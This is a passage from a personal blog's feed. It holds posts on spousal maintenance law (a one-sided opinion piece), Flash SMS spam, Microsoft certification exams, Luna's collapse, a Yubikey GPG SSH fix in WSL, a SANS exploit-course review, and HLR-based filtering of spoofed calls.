&lt;p&gt;I believe lawmakers are aware of this paradox. In 2016, an amendment was passed to the Women's charter to allow a mentally or physically incapacitated ex-husband who is unable to maintain himself to claim spousal maintenance from their ex-wives. I can understand how an incapacitated man can have no increase in earning capacity in the foreseeable future but fail to see how an able-bodied and able-minded woman can claim likewise.  &lt;/p&gt;
&lt;h2&gt;Lifelong sustenance of prior standard of living&lt;/h2&gt;
&lt;p&gt;President Halimah once said in parliament that if chicken is too expensive, we can encourage Singaporeans to turn to alternatives like fish. Considering that man and wife is now man and woman, each party should live within their own means. A transitory period of 8 years should be sufficient even if she used to live like Crazy Rich Asians. First 2 years renting a place in the same neighbourhood, enjoying frequent high teas and jetting to faraway destinations like she used to. Next 2 years renting a condo in a cheaper location and making more lower SES friends. If she is able to reskill/upskill or rely on her own connections to stand on her own 2 feet, she can remain at or even increase her standard of living. Otherwise, next 2 years moving down to HDB in the heartlands and final 2 years moving into a rental flat if she is a total klutz. 8 years allows for a gradual transition from the highest echelons of society towards a new normal for her.  &lt;/p&gt;
&lt;h2&gt;No lifelong indirect contribution to welfare of ex-husband&lt;/h2&gt;
&lt;p&gt;Although direct contribution to the marriage is a lifelong commitment. Indirect contribution ceases at the point of breakdown of the marriage. If lawmakers believe that ex-housewives can no longer earn her keep after 10 years in the kitchen, then likewise men who have not stepped into the kitchen for the past 10 years should be unable to learn to cook, do his own laundry, clean the house and so on. Why is an ex-wife not required to continue performing household chores for the ex-husband in return for spousal maintenance? Perhaps it can be argued that domestic help is cheap, is the ex-husband then allowed to argue for a reduction in maintenance to pay for domestic help?  &lt;/p&gt;
&lt;h2&gt;Gaming the system&lt;/h2&gt;
&lt;p&gt;Firstly, the woman would resign from her job citing work stress, or needing to take a sabbatical. Her husband, not knowing the game plan, will support her and tell her to take as much time as she needs. Next she would voluntarily take up all of the household chores since she is now not working. In the pockets of time available, she will frequently meet her friends for high tea, start increasing spending on material goods and start taking up expensive hobbies like golfing. Lastly, she will take regular vacations to faraway destinations to get relief from the alleged work stress. Such behaviour over the course of a few years will eventually cause the marriage to break down and secure the woman a hefty chunk in spousal maintenance by checking all the boxes.  &lt;/p&gt;
&lt;p&gt;Minister Mentor Lee once said that no one owes you a living. Perhaps it is more accurate to say that no one (except your ex-husband) owes you a living.&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Spammers using Flash SMS</title><link href="https://limbenjamin.com/articles/spammers-using-flash-sms.html" rel="alternate"></link><published>2022-09-11T18:42:00+08:00</published><updated>2022-09-11T18:42:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-09-11:/articles/spammers-using-flash-sms.html</id><summary type="html">&lt;p&gt;Apparently, spammers are now using Flash SMS to send their messages. This is the first time I have heard of Flash SMS and it is deeply concerning as the message automatically opens and displays on the screen even if the phone is locked. Less savvy users may be easily tricked …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Apparently, spammers are now using Flash SMS to send their messages. This is the first time I have heard of Flash SMS and it is deeply concerning as the message automatically opens and displays on the screen even if the phone is locked. Less savvy users may be easily tricked into thinking that the message comes from an official source.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/flash_sms.png"&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, it seems difficult to disable Flash SMS. The SIM toolkit app is referenced in some instructions online, but the options available in the app is service provider specific. Some providers like mine are more interested in providing Value Added Services like 4D/TOTO results instead of actual important functionality. Until IDA and the Telcos start looking into spam SMS/calls seriously, the problem is just going to get worse and spammers will continue to find new functionality to abuse.  &lt;/p&gt;
&lt;p&gt;I had previously proposed checking the Home Location Register (HLR) for the last known location and dropping calls/SMSes based on that information. It will require some collaboration between the Telcos but I believe it is a feasible solution. I am sure Telco engineers can come up with similar/better methods to scrub the intentional calls/SMSes ingress line of spoofed calls and SMSes. It appears to be more of apathy and lack of sound technical knowledge plaguing management, allowing the problem to fester.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Scenario: +65 9123 4567 phone call comes in from an overseas submarine cable.

# Perform the following checks on the HLR
if +65 9123 4567 [valid] is False:
    telco will terminate call since number is not in use
else if +65 9123 4567 [roaming_status] is not_roaming:
    telco will terminate call since phone is in Singapore, but call is coming from overseas
else if +65 9123 4567 [reachable] is absent:
    telco will terminate call since phone is offline, but call is coming from overseas
else:
    route the call to the recipient since phone appears to be overseas
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/hlr_check.png"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>MS-500, AZ-500, SC-200 exam review</title><link href="https://limbenjamin.com/articles/ms500-az500-sc200-exam-review.html" rel="alternate"></link><published>2022-08-12T21:13:00+08:00</published><updated>2022-08-12T21:13:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-08-12:/articles/ms500-az500-sc200-exam-review.html</id><summary type="html">&lt;p&gt;The MS-500: Microsoft 365 Security Administration, AZ-500: Microsoft Azure Security Technologies and one more exam from a list of 3, were recently stipulated as part of the requirements under the &lt;a href="https://docs.microsoft.com/en-us/partner-center/solutions-partner-security"&gt;skilling section&lt;/a&gt; for companies interested in earning the designation &lt;code&gt;Microsoft Solutions partner for Security&lt;/code&gt;. Microsoft awards points for up to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The MS-500: Microsoft 365 Security Administration, AZ-500: Microsoft Azure Security Technologies and one more exam from a list of 3, were recently stipulated as part of the requirements under the &lt;a href="https://docs.microsoft.com/en-us/partner-center/solutions-partner-security"&gt;skilling section&lt;/a&gt; for companies interested in earning the designation &lt;code&gt;Microsoft Solutions partner for Security&lt;/code&gt;. Microsoft awards points for up to 6 employees in a company that hold all 3 certifications.  &lt;/p&gt;
&lt;p&gt;Coming from a security operations background, I chose to take SC-200: Microsoft Security Operations Analyst to complete the trio. That was also where I chose to start since I believed that it wouldn't pose much of a challenge. I was wrong from the get go. It was a closed book exam with trivia style questions, quite different from the open book application style questions I was more used to. Questions such as which menu item to click on to perform a specific tasks were very common. The exam also covered material which I felt were not part of the job scope of a SOC analyst. Questions on which roles or permissions are required for certain tasks or setting up the product felt more like a SOC engineer's job scope. Questions on which tier of subscription is required to enable certain features felt more like a presales engineer/onboarding specialist's responsibility. I managed to pass after a fair bit of studying from the learning paths, watching some videos and working on practice tests.  &lt;/p&gt;
&lt;p&gt;The next exam I chose to take was the AZ-500 exams. I have been working with Azure app service, MSSQL databases, key vault, logic apps and function apps in the past year and since I found out that the exam was going to be on product knowledge and not really domain knowledge, I felt more confident. Again, it wasn't as easy as expected. The main challenge I found here was that the exam covered all Azure service offerings. This included Azure AD, VM, Virtual networks, and storage which I had never used. A bit of luck played a part here, I was assigned more questions on services which I was more familiar with in my 2nd attempt and managed to score a pass.  &lt;/p&gt;
&lt;p&gt;I left MS-500 for last as I had the least familiarity with it. Fortunately, there was quite a bit of overlap in knowledge from the previous 2 exams. Monitoring of O365 services from SC-200 showed up here again. Azure AD related configuration from AZ-500 also showed up here. The only new topics were Azure Information Protection, DLP and a bit of Bitlocker. I had an easier time with this exam possibily because of the overlap in material and because I was used to the style of questions.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/azure_certs.png"&gt;&lt;/p&gt;
&lt;p&gt;Having passed all 3 exams in under a month, I would say that it is possible to pass the exams without much hands-on experience. Given the vast scope of products and angles covered in 3 different exams, I would say it is near impossible for anyone to have hands-on experience with everything covered on those test. I definitely have a better understanding of the various Microsoft services but I don't think I will be able to retain much of that knowledge given that I work with probably only 5% of the technologies covered in the exams.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Luna economics</title><link href="https://limbenjamin.com/articles/luna-economics.html" rel="alternate"></link><published>2022-06-24T19:52:00+08:00</published><updated>2022-06-24T19:52:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-06-24:/articles/luna-economics.html</id><summary type="html">&lt;p&gt;I started reading about Luna after the crash and the more I read, the more I failed to understand. So many articles were mentioning DeFi and articles explaining how Luna works covered the exact same point about the seesaw. If demand for UST increases, Luna is burned and vice versa …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I started reading about Luna after the crash and the more I read, the more I failed to understand. So many articles were mentioning DeFi and articles explaining how Luna works covered the exact same point about the seesaw. If demand for UST increases, Luna is burned and vice versa, thus keeping everything at equillibrium. It was as if the same explanation was just copy pasted on multiple websites and no one really understood how it works at its core. It was only a week after the crash that actual economic analyses started coming out. Suprisingly, these analyses compared Luna to traditional economies, there is no DeFi, nothing new and fancy, Luna works like every other traditional currency and are bound by the same economic rules.  &lt;/p&gt;
&lt;style&gt;
th, td{
    padding: 0.5em;
}
&lt;/style&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Luna&lt;/th&gt;
        &lt;th&gt;Traditional Currency&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;The value of 1 UST is pegged to 1 USD &lt;/td&gt;
        &lt;td&gt;The value of 1 SGD is pegged to 1 Brunei Dollar&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Luna Foundation Guard sold more than 33,000 bitcoin from its reserves to defend the UST dollar peg&lt;/td&gt;
        &lt;td&gt;MAS has reserves to buy and sell the Brunei Dollar to maintain the peg&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;You can trade Luna for UST and trade UST for USD freely&lt;/td&gt;
        &lt;td&gt;You can trade SGD for Brunei Dollar freely&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;You can stake Luna to get up to 8% returns per year&lt;/td&gt;
        &lt;td&gt;US Federal Reserve interest rate is 1.75% per year&lt;/td&gt;
    &lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;As you can see, Luna is not much different from traditional currencies. Instead of a central bank, you have the Luna Foundation Guard setting monetary policy and exchange rate policy. You may also have noticed that there is no Singapore example for interest rate. This is because exchange rate policy is Singapore’s only form of monetary policy. So, why can't Singapore dictate an interest rate?  &lt;/p&gt;
&lt;p&gt;&lt;img alt="mundell–fleming-trilemma" src="//limbenjamin.com/media/mundell–fleming-trilemma.png"&gt;&lt;/p&gt;
&lt;p&gt;This is because of the Mundell Fleming Trilemma. A government has to choose 2 out of 3 factors. Singapore has chosen to control exchange rate and allow free capital movement, hence they have to allow interest rates to change according to external pressure. This Trilemma was presented in 1960s and over the years, there have been examples of governments (USD/MXN in 1994 and USD/THB in 1997) who tried to control all 3 and caused their currency to be depegged. I am not an economist and won't attempt to explain this any further.  &lt;/p&gt;
&lt;p&gt;It appears that beneath all the buzz and hype of DeFi, algorithmic stablecoins, and other seesaw mumbo jumbo, Luna is nothing new. It works the same as any traditional currency and has to abide by the same theories and constraints faced by them. They made the same mistake that Mexico and Thailand made in the 90s and caused Luna to implode. If you don't have a background in macroeconomics and cannot evaluate the economic model of a cryptocurrency, then trade at your own risk.  &lt;/p&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>Yubikey WSL: Agent refused operation</title><link href="https://limbenjamin.com/articles/yubikey-wsl-agent-refused-operation.html" rel="alternate"></link><published>2022-05-03T08:17:00+08:00</published><updated>2022-05-03T08:17:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-05-03:/articles/yubikey-wsl-agent-refused-operation.html</id><summary type="html">&lt;p&gt;I recently had problems using my Yubikey GPG key to SSH from my WSL instance to a linux server. After the usual checks, it seemed like it was a client side error &lt;code&gt;sign_and_send_pubkey: signing failed for RSA "/home/user/.ssh/id_rsa" from agent: agent refused operation&lt;/code&gt;. Most people on the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently had problems using my Yubikey GPG key to SSH from my WSL instance to a linux server. After the usual checks, it seemed like it was a client side error &lt;code&gt;sign_and_send_pubkey: signing failed for RSA "/home/user/.ssh/id_rsa" from agent: agent refused operation&lt;/code&gt;. Most people on the internet recommend running &lt;code&gt;gpg-connect-agent updatestartuptty /bye&lt;/code&gt; but it still did not work for me. Time to do a little more digging into the root cause.  &lt;/p&gt;
&lt;p&gt;Reading the &lt;a href="https://linux.die.net/man/1/gpg-agent"&gt;GPG man page&lt;/a&gt; revealed that &lt;code&gt;export GPG_TTY=$(tty)&lt;/code&gt; should be added to &lt;code&gt;.bashrc&lt;/code&gt;. The &lt;a href="https://wiki.archlinux.org/title/GnuPG#Configure_pinentry_to_use_the_correct_TTY"&gt;archlinux wiki&lt;/a&gt; shed even more light on what exactly had happened. I installed xserver recently and it was causing the &lt;code&gt;pinentry&lt;/code&gt; program to start in the wrong TTY and hence failing.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;# &lt;/span&gt;confirm&lt;span class="w"&gt; &lt;/span&gt;that&lt;span class="w"&gt; &lt;/span&gt;gpg&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;WSL&lt;span class="w"&gt; &lt;/span&gt;can&lt;span class="w"&gt; &lt;/span&gt;detect&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;yubikey&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;gpg&lt;span class="w"&gt; &lt;/span&gt;--card-status
&lt;span class="go"&gt;Reader ...........: Yubico YubiKey OTP FIDO CCID (0001234567) 00 00&lt;/span&gt;
&lt;span class="go"&gt;Application type .: OpenPGP&lt;/span&gt;
&lt;span class="go"&gt;Version ..........: 2.1&lt;/span&gt;
&lt;span class="go"&gt;Manufacturer .....: Yubico&lt;/span&gt;

&lt;span class="gp"&gt;# &lt;/span&gt;confirm&lt;span class="w"&gt; &lt;/span&gt;that&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;GPG&lt;span class="w"&gt; &lt;/span&gt;key&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;present&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SSH&lt;span class="w"&gt; &lt;/span&gt;agent&lt;span class="w"&gt; &lt;/span&gt;as&lt;span class="w"&gt; &lt;/span&gt;an&lt;span class="w"&gt; &lt;/span&gt;identity
&lt;span class="gp"&gt;$ &lt;/span&gt;ssh-add&lt;span class="w"&gt; &lt;/span&gt;-L
&lt;span class="go"&gt;ssh-rsa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="go"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="go"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="go"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="go"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="go"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="go"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==&lt;/span&gt;
&lt;span class="go"&gt;cardno:000123456789&lt;/span&gt;

&lt;span class="gp"&gt;# &lt;/span&gt;get&lt;span class="w"&gt; &lt;/span&gt;GPG&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;use&lt;span class="w"&gt; &lt;/span&gt;current&lt;span class="w"&gt; &lt;/span&gt;TTY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pinentry
&lt;span class="gp"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GPG_TTY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;tty&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;gpg-connect-agent&lt;span class="w"&gt; &lt;/span&gt;updatestartuptty&lt;span class="w"&gt; &lt;/span&gt;/bye
&lt;span class="go"&gt;OK&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;user@192.168.0.1
&lt;span class="go"&gt;Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-107-generic x86_64)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category><category term="Server"></category></entry><entry><title>SANS SEC760 Review</title><link href="https://limbenjamin.com/articles/SANS-SEC760-review.html" rel="alternate"></link><published>2022-04-08T20:51:00+08:00</published><updated>2022-04-08T20:51:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-04-08:/articles/SANS-SEC760-review.html</id><summary type="html">&lt;p&gt;I wasn't expecting to do yet another SANS course but the opportunity did arise for me to do SEC760 in ondemand format. Previously, I had already done SEC660 as well as OSCE and was conversant with buffer overflows in a multitude of formats (EIP overrides, SEH overrides, ASLR/DEP bypass …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I wasn't expecting to do yet another SANS course but the opportunity did arise for me to do SEC760 in ondemand format. Previously, I had already done SEC660 as well as OSCE and was conversant with buffer overflows in a multitude of formats (EIP overrides, SEH overrides, ASLR/DEP bypass, return to libc, ROP, egghunters, venetian shellcode, alphanumeric shellcode, limited buffer space...), so it was time to move on to heap overflows and into kernel land.  &lt;/p&gt;
&lt;p&gt;There are only a few courses at a similar level, Offensive Security AWE, Corelan Advanced exploit development course and of course, SANS SEC760. I believe they are rather similar in content with AWE being heavier on Windows kernel security mitigations, Corelan being heavier on Windows heap exploitation and SEC760 bringing in Linux and browser exploitation.  &lt;/p&gt;
&lt;p&gt;The exploits in SEC760 are a lot more complicated than SEC660 and cannot be done from scratch. Researchers spend weeks or months fuzzing, reading through source code or reverse engineering binaries to find out how heap chunks are allocated and deallocated in certain OSes. They then find ways to exploit, for example discovering that allocating x chunks of a certain size and deallocating the chunks in a certain order or that creating certain HTML elements nested in a particular manner would cause a vulnerability to exist. SEC760 focuses on explaining the basics and then stepping through these well known exploits, breaking at certain points to demonstrate what is happening and how the exploit works. You would have to spend lots of time doing your own research on a particular area to really have a chance of building your own exploit from scratch.  &lt;/p&gt;
&lt;p&gt;At times, the exploitation feels more like an art than science. You tweak an address leak payload repeatedly to try to obtain a consistent leak of a function pointer. You spray the heap with the same shellcode x amount of times and hope the EIP lands somewhere in a nop sled. Browsers are so complex and there are so many things going on at the same time, you might not know why an exploit failed. Even pausing too long at a breakpoint may affect the exploit as demonstrated in the walkthrough.  &lt;/p&gt;
&lt;p&gt;I feel that ondemand was a good way to do this course especially because I was totally unfamiliar with the heap and the Windows kernel. I found myself replaying the videos numerous times just to absorb the material since it is so information dense. I previously did SEC660, FOR508 and FOR610 live and had no issues keeping up with the material as I already had rough understanding of the material even before attending. I would have struggled doing SEC760 live. An additional benefit of ondemand is the ability to slowly work through all the CTF challenges. The CTF challenges are a really good way to test your understanding as they require you to find the the offsets and memory addresses specific to the CTF binary as opposed to just walking through and following the instructions on the sample binaries provided in class.  &lt;/p&gt;
&lt;p&gt;No coin this time, but 100% completion sure feels good.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="sec760" src="//limbenjamin.com/media/sec760.png"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Phishing SMS/Emails/Calls</title><link href="https://limbenjamin.com/articles/phishing-sms-emails-calls.html" rel="alternate"></link><published>2022-02-05T15:37:00+08:00</published><updated>2022-02-05T15:37:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-02-05:/articles/phishing-sms-emails-calls.html</id><summary type="html">&lt;p&gt;The Cyber Security Agency (CSA) posted an advisory about tech support scammers impersonating CSA officers 7 months ago. A few cybersecurity professional, me included, saw the post and immediately commented either directly on the post or on a copy shared by one of the deputy directors that the impersonation was …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The Cyber Security Agency (CSA) posted an advisory about tech support scammers impersonating CSA officers 7 months ago. A few cybersecurity professional, me included, saw the post and immediately commented either directly on the post or on a copy shared by one of the deputy directors that the impersonation was possible because CSA did not properly set up their DMARC policy. Since then, they have set up a DMARC policy and it is now impossible to impersonate emails from csa.gov.sg.  &lt;/p&gt;
&lt;iframe src="https://www.linkedin.com/embed/feed/update/urn:li:share:6823878480783134720" allowfullscreen="" title="Embedded post" width="504" height="1000" frameborder="0"&gt;&lt;/iframe&gt;

&lt;p&gt;I was reminded of this incident when I observed the response in the aftermath of the OCBC phishing SMS fiasco. As per this &lt;a href="https://www.straitstimes.com/singapore/imda-urges-more-banks-to-sign-up-with-anti-sms-spoofing-registry-to-combat-scams"&gt;Straits Times article&lt;/a&gt; on 17 January, IMDA urged all businesses to sign up on the anti-SMS spoofing registry. As per this &lt;a href="https://www.straitstimes.com/tech/tech-news/why-the-anti-sms-spoofing-registry-can-be-bypassed"&gt;Straits Times article&lt;/a&gt; on 31 January, some members of public managed to show that it is possible to bypass the registry and spoof as businesses that had already signed up. It seems like our regulators, IMDA and CSA, do not have senior engineers who are intimately familiar with the technical aspects of the technologies they are regulating.  &lt;/p&gt;
&lt;p&gt;CSA is rather fortunate because emails are a widely understood technology. Every major company runs their own email servers so there are plenty of IT engineers out there who are very familiar with all the inner workings of email. They understand details of all the protocols (IMAP/POP3/SMTP) to do with sending and receiving emails as well as all the security mechanisms (SPF/DKIM/DMARC) to safeguard email from spoofing. They can explain everything that happens from the moment you push the send button all the way until the email arrives in the recipient's inbox. This group of professionals can call CSA out when they observe insecure practices.  &lt;/p&gt;
&lt;p&gt;Unfortunately, SMS and phone calls are poorly understood technologies. In the past, companies used GSM modems or SMS gateways to send SMS. Nowadays, they may a service like Twilio. Regardless of the method, once the SMS leaves the endpoint, it enters a black box and re-emerges on the other side to reach the recipient. Very few people understand what happens inside that black box and can explain step by step how it works. ISPs are doing source IP spoofing and dropping packets, can something similar be done for calls/SMS? Are international calls/SMS from foreign Telcos routed the same way as local calls/SMSes? Do they come through the same pipe? How about local subscribers that are currently roaming and connected to foreign Telcos? Can those calls/SMSes be differentiated from the spoof calls/SMSes?  &lt;/p&gt;
&lt;p&gt;Coming from someone without a background in telecommunication technology, Telcos must have a way of determining if a number is in use because you get a recorded voice message telling you that the number is not in use otherwise. Telcos must also have a way of determining if the number is currently connected to a local base station, how else would they be able to make the phone ring and route the call. Both these operations should be possible in less than 3 seconds, which is about the time you take to get a response when dialing a number. Given these 2 assumptions, the following logic should be possible to stop these spam calls. Is it really implementable?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Scenario: +65 9123 4567 dialling in from overseas

if +65 9123 4567 is currently not in use:
    # confirm to be spoofed since number not in use
    telco will terminate call 
else:
    if +65 9123 4567 last known location in HLR is in Singapore:
        # handphone cannot be located in Singapore and overseas at the same time
        telco will terminate call 
    else:
        # either handphone is located in Singapore but turned off (unlikely in present day) or handphone is overseas and it is a legitimate call
        route the call to the recipient
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Perhaps only senior engineers who have worked in Telcos have the answer to those questions. Given the age of SMS/telephony technology, many of those senior engineers may already be retired. Maintenance may have been outsourced and there may be very few people left with that technical expertise. Without an in-depth understanding of the technology, we will not be able to fully block phishing calls/SMSes and our regulators will have to continue what they do best, sending advisory after advisory telling people not to click on links and not to answer calls starting with +65.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Azure Resource Manager - Service Principal (Manual)</title><link href="https://limbenjamin.com/articles/azure-resource-manager-service-principal-manual.html" rel="alternate"></link><published>2022-01-18T20:04:00+08:00</published><updated>2022-01-18T20:04:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-01-18:/articles/azure-resource-manager-service-principal-manual.html</id><summary type="html">&lt;p&gt;I had some issues with automatically creating a service principal to set up Azure Resource Manager in Azure DevOps due to overly strict Azure AD policies resulting in the following error &lt;code&gt;Error encountered: Failed to create an app in Azure Active Directory. Error: Credential lifetime exceeds the max value allowed …&lt;/code&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;I had some issues with automatically creating a service principal to set up Azure Resource Manager in Azure DevOps due to overly strict Azure AD policies resulting in the following error &lt;code&gt;Error encountered: Failed to create an app in Azure Active Directory. Error: Credential lifetime exceeds the max value allowed as per assigned policy&lt;/code&gt;. This is a rather unique error with no results found on Google. Since the steps to manually create a service principal is rather complex, I have decided to document it here.&lt;/p&gt;
